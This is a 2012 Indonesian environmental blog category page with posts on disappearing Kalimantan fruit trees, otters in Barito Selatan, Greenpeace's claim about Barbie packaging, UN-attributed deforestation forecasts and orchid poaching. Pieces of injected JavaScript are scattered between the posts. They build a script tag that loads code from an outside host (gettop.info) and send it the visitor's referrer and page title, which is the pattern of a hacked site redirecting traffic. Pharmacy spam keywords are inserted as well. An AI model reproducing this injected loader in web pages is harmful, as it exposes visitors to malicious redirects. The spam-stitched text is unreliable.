All Posts in the ‘ALAM’ Category

BUAH-BUAHAN LANGKA KALIMANTAN YANG ADA DI BARITO SELATAN

April 18th, 2012 | By admin in ALAM | Komentar Dinonaktifkan pada BUAH-BUAHAN LANGKA KALIMANTAN YANG ADA DI BARITO SELATAN

LKBN Antara Banjarmasin,18/10 menurunkan tulisan “Buah-buahan khas Kalimantan yang berada di kawasan Kalimantan Selatan kian langka setelah pohon buah-buahan tersebut terus ditebang untuk digunakan sebagai bahan baku gergajian”. Demikian keterangan warga di bilangan Kabupaten Balangan kepada ANTARA Kamis.

Berdasarkan keterangan penduduk Desa Panggung, buah khas yang sudah langka seperti jenis maritam (buah sejenis rambutan tapi tidak berbulu), siwau (juga jenis ramburan juga tidak berbulu) asam hurang (mangga kecil rasanya manis).

levita buy

Buah lain yang pohon kayunya terus ditebang adalah tandui (sejenis mangga tetapi rasanya sangat kecut, biasanya disenangi hanya dijadikan rujak), lahung (sejenis durian berbulu panjang dan lancip dengan warna kulit merah tua), serta mantaula (sejenis durian berklit tebal berduri besar rasanya khas). Buah-buahan yang hanya berada di pedalaman Kalimantan khususnya di Pegunungan tersebut dicari lantaran pohonnya selalu besar sehingga bila dijadikan kayu gergajian maka kayu gergajian dari pohon itu volumenya banyak.

“Sejak sepuluh tahun terakhir ini, kayu buahan tersebut ditebang diambil kayunya untuk dijual dan untuk bahan bangunan pembangunan rumah penduduk,” kata Rusli penduduk setempat.

Perburuan kayu buah-buahan tersebut setelah kayu-kayu besar dalam hutan sudah kian langka.  Sementara permintaan kayu untuk dijadikan vener (bahan untuk kayu lapis) terus meningkat, setelah kayu-kayu ekonomis dalam hutan sudah sulit dicari.  Bukan hanya untuk vener, kayu-kayu dari pohon buah itu dibuat papan untuk dinding rumah penduduk atau dibuat balokan serta kayu gergajian.

Beberapa warga menyayangkan penebangan kayu buah tersebut lantaran jenis kayu ini adalah kayu yang berumur tua. “Kalau sekarang ditanam maka mungkin 50 tahunan bahkan ratusan tahun baru kayu itu besar,” kata warga yang lain.

Sebagai contoh saja, jenis pohon buah lahung yang ditebang adalah pohon yang ratusan tahun usianya, makanya pohon lahung yang banyak ditebang ukuran garis tengahnya minimal satu meter. Warga mengakui agak sulit melarang penebangan kayu pohon buah tersebut lantaran itu kemauan pemilik lahan dimana pohon itu berada, sebab pohon itu sebelum ditebang dijual dengan harga mahal, sehingga oleh pemilik lahan dianggap menguntungkan.

Hal ironis serupa terjadi juga di Barito Selatan, bahkan bisa lebih menyakitkan lagi. Bayangkan saja, penduduk yang menebang pohon durian yang sudah tidak produktif di kebunnya sendiri paling tidak harus menyampaikan surat izin kepada aparat.

Belum lagi nasib kayu-kayu pohon buah yang lain seperti kayu ketapi, asam putaran, pohon rambai bahkan pohon ramania dan manggis, saat ini sudah tidak luput lagi dari incaran sebagai bahan baku bangunan yang bernilai ekonomis.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {

Berang-berang Langka Kalimantan di Bambaler (?)

April 18th, 2012 | By admin in ALAM | Komentar Dinonaktifkan pada Berang-berang Langka Kalimantan di Bambaler (?)

Berita ini sempat heboh. 
Berang-berang langka hidung berbulu yang tidak pernah terlihat selama satu abad tertangkap kamera di Borneo. Berang-berang langka itu didaftarkan sebagai makhluk langka yang harus dilestarikan di kawasan Asia Tenggara.

Ilmuwan menggunakan kamera khusus untuk mengambil gambar berang-berang langka di hutan Deramakot terletak di wilayah Sabah, Malaysia tahun lalu. Tapi mereka butuh waktu yang cukup lama untuk mengkonfirmasi identitas hewan ini.

Berang-berang langka tersebut tidak pernah terlihat lagi di wilayah tersebut selama bertahun-tahun. Spesimen terakhir yang pernah muncul di Kalimantan merupakan hewan yang tewas akibat tertabrak mobil di 1997.

“Ini merupakan berita besar bagi Sabah di mana menunjukkan betapa unik dan beruntungnya kita sebagai bagian dari kehidupan alam,” ujar Laurentius Ambu, kepala Departemen Kehidupan Satwa Sabah.

“Sebagai tambahan, penemuan ini juga meningkatkan pelestarian berang-berang langka secara internasional dan menjadi bagian penting dari kawasan Asia Tenggara.”

International Union for the Conservation of Nature (IUCN) telah mendaftarkan berang-berang langka hidung berbulu sebagai makhluk langka yang harus dilestarikan di kawasan Asia Tenggara. Hewan ini mulai musnah akibat perburuan daging dan obat-obatan tradisional. Habitan berang-berang juga berkurang karena polusi dan kekurangan sumber makanan.

Tahun 2008, Sabah meluncurkan sebuah program untuk mempelajari hewan karnivora di wilayah ini di antaranya kucing liar, musang dan berang-berang. Proyek ini dilakukan oleh Leibniz Institute for Zoo and Wildlife Research, asal Jerman dengan bantuan dari Departemen Kehutanan Sabah.

Jadi mari kita lestarikan hewan-hewan langka agar selamat dari ancaman kepunahan yang di sebabkan oleh tangan-tangan manusia yang tidak bertanggung jawab.

 

Dengen Bambaler dan Danau Hante

Lalu apakah kabar ini memang menghebohkan bagi masyarakat Barito Selatan? Ternyata tidak! Hewan berang-berang alias DENGEN masih mudah ditemukan disini.

vardenafil canadian pharmacy

Kabupaten Barito Selatan sebagai kabupaten seribu danau tidak khawatir dengan populasi berang-berang. Satwa ini masih bebas berkeliaran di Sungai Maliau (dusun Bambaler), Danau Madara dan Danau Hante.

Hewan ini memang perlu diselamatkan karena sudah dianggap hama bagi nelayan tangkap di desa-desa perairan Barito Selatan sehingga kepunahannya memang sangat diharapkan. Berang-berang besar ini dianggap pencuri ikan nelayan sebab dia merusak keramba apung dan mencuri ikan dari kolam-kolam masyarakat.

 } else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Ternyata Barbie Turut Merusak Hutan Indonesia

April 18th, 2012 | By admin in ALAM | Komentar Dinonaktifkan pada Ternyata Barbie Turut Merusak Hutan Indonesia

viagra vs cialis vs levitra samples

Greenpeace mengumumkan hasil investigasi yang mengejutkan. Barbie, boneka mainan paling terkenal di dunia, terbukti terkait dengan perusakan hutan hujan. Kemasan yang digunakan oleh boneka ini ternyata menggunakan bahan baku yang berasal dari hutan Indonesia yang menjadi rumah dari spesies langka seperti Harimau Sumatra.

Boneka Barbie berlatar pembalakan hutan

Menggunakan uji forensik, para peneliti Greenpeace menemukan bahwa kemasan Barbie berasal dari perusakan hutan Indonesia. Selain uji forensik, peneliti Greenpeace juga melakukan investigasi lapangan langsung, pemetaan data dan menelusuri sertifikat perusahaan untuk menguatkan bukti bahwa Mattel, pembuat Barbie, juga perusahaan-perusahaan mainan besar lain termasuk Disney, menggunakan kemasan yang diproduksi oleh Asia Pulp and Paper (APP).

“Sudah seringkali APP terungkap melakukan aktivitas perusakan hutan Indonesia untuk membuat produk seperti kemasan ini. Barbie merusak hutan alam dan menyebabkan satwa langka seperti harimau ke arah kepunahan. Ini terjadi karena kemasan Barbie berasal dari perusakan hutan di Indonesia yang menjadi rumah bagi satwa langka seperti harimau sumatera,” ujar Bustar Maitar, Kepala Kampanye Hutan Indonesia Greenpeace dalam rilis yang diterima Tribunnews.com, Selasa (8/6/2011).

Indonesia di mata Green Peace adalah satu di antara negara dengan laju deforestasi tercepat di dunia. Diperkirakan lebih dari satu juta hektar hutan dihancurkan setiap tahunnya. Meski pemerintah baru-baru ini telah mengumukan moratorium (penghentian sementara) pemberian ijin baru perusakan hutan, data memperlihatkan bahwa moratorium ini tidak bisa melindungi 45 juta hektar hutan alam dan lahan gambut.

“Greenpeace menyerukan kepada pemerintah Indonesia untuk mengkonkritkan upaya yang lebih kuat untuk melindungi hutan alam dan lahan gambut Indonesia yang masih tersisa – termasuk di hutan yang izin konsesinya telah diberikan. Hal ini hendaknya diikuti dengan pengkajian ulang semua ijin konsesi yang telah diberikan untuk memastikan apakah konsesi itu diperoleh sesuai dengan hukum Indonesia atau tidak. Saat ini, hutan, lahan gambut dan satwa yang hidup di dalamnya terus dihancurkan oleh perusahaan seperti APP.” demikian Zulfahmi, Jurukampanye Hutan Greenpeace Asia Tenggara menambahkan.

Source : Tribun News.com

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Astaga! Hutan Sumatera dan Hutan Kalimantan Akan Punah Pada Tahun 2022.

April 18th, 2012 | By admin in ALAM | Komentar Dinonaktifkan pada Astaga! Hutan Sumatera dan Hutan Kalimantan Akan Punah Pada Tahun 2022.

Astaga! Hutan Sumatera dan Hutan Kalimantan Akan Punah Pada Tahun 2022. Berarti  10 tahun lagi hutan Sumatera dan Kalimantan akan tinggal kenangan. Tidak main-main, yang menyatakan demikian adalah lembaga dunia PBB.

 

 Berdasarkan data-data dari Perserikatan Bangsa Bangsa (PBB), tahun 2000 hingga 2005, rata-rata perhari  5,1 km2 hutan Indonesia hilang (rusak).  Dengan menghitung rata-rata kerusakan hutan Indonesia pada tahun 2002 PBB, merilis Hutan Sumatera dan Hutan Kalimantan akan punah pada tahun 2032.  Namun rilis resmi PBB tersebut di ralat pada tahun 2007.  Hal tersebut di latar belakangi oleh pengrusakan dan pengundulan hutan yang berjalan jauh lebih cepat dari yang di perkirakan, sehingga rilis resmi terbaru PBB menyatakan hutan di Sumatera dan Hutan Kalimantan diperkirakan punah pada tahun 2022. Wow, hutan Indonesia mendapat discount 10 tahun lebih cepat punah!

 

Hutan Indonesia merupakan bagian penting dari paru – paru kehidupan dunia. Kelestarian hutan Indonesia tidak hanya penting untuk bangsa Indonesia, namun juga bagi bangsa lain di seluruh dunia. Luas kawasan hutan di 30 provinsi Indonesia, berdasarkan penunjukan Kawasan Hutan dan Perairan pada tahu 2007, mencapai 112,3 juta ha. Sedangkan luas kawasan hutan di tiga provinsi lainya ( Riau, Kepulauan Riau, dan Kalimantan Tengah ), masih mengacu kepada kepada Tata Guna Hutan Kesepakatan ( TGHK ). Luasnya mencapai 24,76 juta ha. Terdiri dari 15,30 juta ha kawasan hutan di Kalimantan Tengah dan 9,46 juta ha di Riau, dan Kepulauan Riau.

 

Badan planologi nasional ( BPN ) tahun 2007, menyatakan hutan di tiga wilayah tersebut sekarang ini dalam kondisi sangat kritis. Kawasan hutan yang terdegradasi di Indonesia mencapai 59,62 juta ha yang di sebabkan oleh aktivitas Pembalakan Liar ( Ilegal Logging ), konservasi kawasan hutan menjadi perkebunan sawit, karet dan juga kebakaran hutan.

 

Laju degradasi hutan di Indonesia pada periode 1982-1990 mencapai 0,9 juta ha per tahun. Memasuki periode 1990-1997 telah mencapai 1,8 juta ha per tahun. Kondisi miris tersebut berlanjut pada periode 1997-2000, dimana kerusakan hutan mencapai 2,83 juta ha per tahun. Sedangkan pada periode 2000-2006 mencapai 1,08 juta ha per tahun.

 

Semakin berkurangnya tutupan hutan mengakibatkan sebagian besar wilayah Indonesia rentan terhadap bencana ekologis (ecological disaster) seperti bencana kekeringan, banjir dan tanah longsor.

 

Berdasarkan informasi dari Bakornas Penanggulangan Bencana, sejak 1998 hingga pertengahan 2003 tercatat telah terjadi 647 bencana akibat kerusakan hutan dengan 2.022 korban jiwa. Sebesar 85 persen bencana yang terjadi tersebut merupakan bencana banjir dan tanah longsor. Provinsi Riau merupakan salah satu provinsi di Indonesia yang laju degradasi hutanya tergolong sangat tinggi.

Selama dua tahun terakhir kerusakan hutanya mencapai 3,7 juta ha. Sedangkan penutupan lahan berupa hutan mencapai 8.597.757 ha. Kawasan hutan di provinsi Riau berdasarkan TGHK, terdiri dari Hutan Lindung (HL) 390.000 ha, Kawasan Suaka Alam dan Pelestarian Alam (KSPA) daratan seluas 410.908 ha, Hutan Produksi Terbatas (HPT) seluas 1.960.128 ha, dan Hutan Produksi Tetap (HPT) seluas 1.873.632 ha.

 

Berdasarka data Bappedalda Riau, luas hutan alam yang tersisa tinggal sekitar 1 juta ha. Intruksi Presiden (Inpres) No 4 Tahun 2005 tentang pemberantasan Penebangan Kayu Secara iIlegal di Kawasan Hutan dan Peredaranya, seolah tidak membuat takut para pembalak hutan dan kayu illegal, suatu hal yang sangat Ironis tentunya.

 

Fenomena yang nyaris serupa, juga terjadi di Provinsi Jawa Barat.  Berdasarkan data Perum Perhutani Unit III Jabar, luas reboisasi rutin lebih kecil daripada luas reboisasi pembangunan. Luas reboisasi rutin di perkirakan 1.028 ha dan luas reboisasi pembangunan 40.802 ha. Dari berbagai jenis gangguan keamanan hutan, perusakan tanaman (pohon) merupakan gangguan terbesar di banding pencurian pohon yang mencapai 150.690 pohon. Sedangkan dari kebakaran yang terjadi 586 ha hutan tercatat 4.887 pohon musnah.

 

Tidak mengherankan jika pada tahun 2008 yang lalu Indonesia di anugerahi Certificate Guinnes World Records sebagai Perusak Hutan Tercepat di Dunia. (….aih! mau berbangga hati atau malu hati atas prestasi ini?)

 

Sertifikat itu…

Menilik lemahnya pemerintah dalah memberantas para pelaku ‘Kejahatan Hutan‘ (pembalakan liar dan illegal logging), kemungkinan besar pada masa mendatang hutan di Indonesia hanya bisa kita lihat keberadaanya di MUSEUM. Tentu ini harus wajib menjadi bahan pemikiran untuk para Penyelenggara Negara di Republik ini, kalau tidak ingin ramalan dari PBB tersebut menjadi kenyataan……………………..

Source : TarungNews.com

  alli acheter }}

HUTAN DAS BARITO KIAN MERANA, ANGGREK BARSEL KIAN RAIB

April 18th, 2012 | By admin in ALAM | Komentar Dinonaktifkan pada HUTAN DAS BARITO KIAN MERANA, ANGGREK BARSEL KIAN RAIB

 

Lebih setahun yang lalu situs Kementerian Lingkungan Hidup Republik Indonesia  http://www.menlh.go.id/hutan-das-barito-merana, mewartakan: “Selama ini Daerah Aliran Sungai (DAS) Barito menjadi kebanggaan masyarakat dari dua provinsi, yakni Kalimantan Tengah dan Kalimantan Selatan. Namun perlu diketahui, saat ini kondisi DAS Barito sudah cukup memprihatinkan.“ Demikian peringatan Menteri Lingkungan Hidup, Prof. Dr. Gusti Muhammad Hatta saat menjadi pembicara kunci (keynote speaker) acara National Side Event – World Town Planning Day (NSE-WTPD) di Banjarmasin 25 September 2010.

 

Dijelaskannya, pada tahun 2009, tutupan hutan pada DAS Barito di Provinsi Kalimantan Selatan tersisa hanya 3.15 %, sedangkan di Provinsi Kalimantan Tengah masih agak baik yakni sekitar 38, 77%. Tapi, jika melihat trend selama 9 tahun (tahun 2000 hingga 2009), DAS Barito telah berkurang sekitar 16,38% atau seluas 1.047.163,82 hektar. Besaran luas tutupan hutan yang hilang itu, kata Gusti M Hatta, bagi daerah bukan jumlah kecil, dan kedepan tentu akan semakin memburuk jika pemerintah daerah tidak serius mengatasi masalah ini.

  rhineinc.in

Saat ini persepsi masyarakat maupun pemerintah daerah terhadap hutan tampaknya harus berubah. “Hutan hendaknya tidak lagi dipandang dari manfaatnya yang sempit yakni dari kayunya semata. Tapi, nilai lainnya yang bersifat intangible (non) kayu perlu perhatian serius seperti fungsinya bagi tata air, plasma nuftah, penyerap karbon, penyedia oksigen, iklim mikro dan lain sebagainya, yang bila dihitung justru nilai manfaatnya jauh lebih besir”, ujar Hatta.

 

Khusus untuk Kabupaten Barito Selatan, kehilangan paling terasa dari keaneka-ragaman hayati dan plasma nutfah-nya adalah langkanya penampakan satwa dan tumbuhan endemik khas yang bernilai seperti tanaman hias dan tumbuhan obat yang kian langka.

Sanggu yang selama ini terlanjur dikenal sebagai pusat anggrek di Kalimantan Tengah tidak lama lagi akan kehilangan sebutan itu apabila Pemerintah Daerah dan fihak-fihak terkait penyelamatan lingkungan tidak segera mencarikan alternatif pemecahan masalah seperti merealisasikan Hutan Konservasi Danau Malawen, pembenahan hutan anggrek alam dan penyelamatan hutan ke arah Manjunre sebab di sekitar Sanggu, Rikut Jawo dan Majunre masih dijumpai anggrek pohon, gintuwung/kantong semar, pohon pasak bumi dan hewan endemik Kalimantan.

 

Untuk diketahui, para pemburu anggrek setiap pekan masuk ke hutan dan belukar di sekitar Sanggu, Majunre, Bundar, Kananai dan tempat-tempat lain. Setelahnya mereka pun rutin menjual hasilnya ke Palangka Raya. Lalu bagai mana anggrek bisa tetap eksis di habitat aslinya kalau semua ini kita diamkan saja….?

Lalu bagai mana pula dengan nasib satwa endemik Kalimantan yang ada disekitar kita? Tidakkah hampir setiap hari kita melihat ada saja masyarakat yang masuk hutan dengan berselempangkan senapan?


 var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;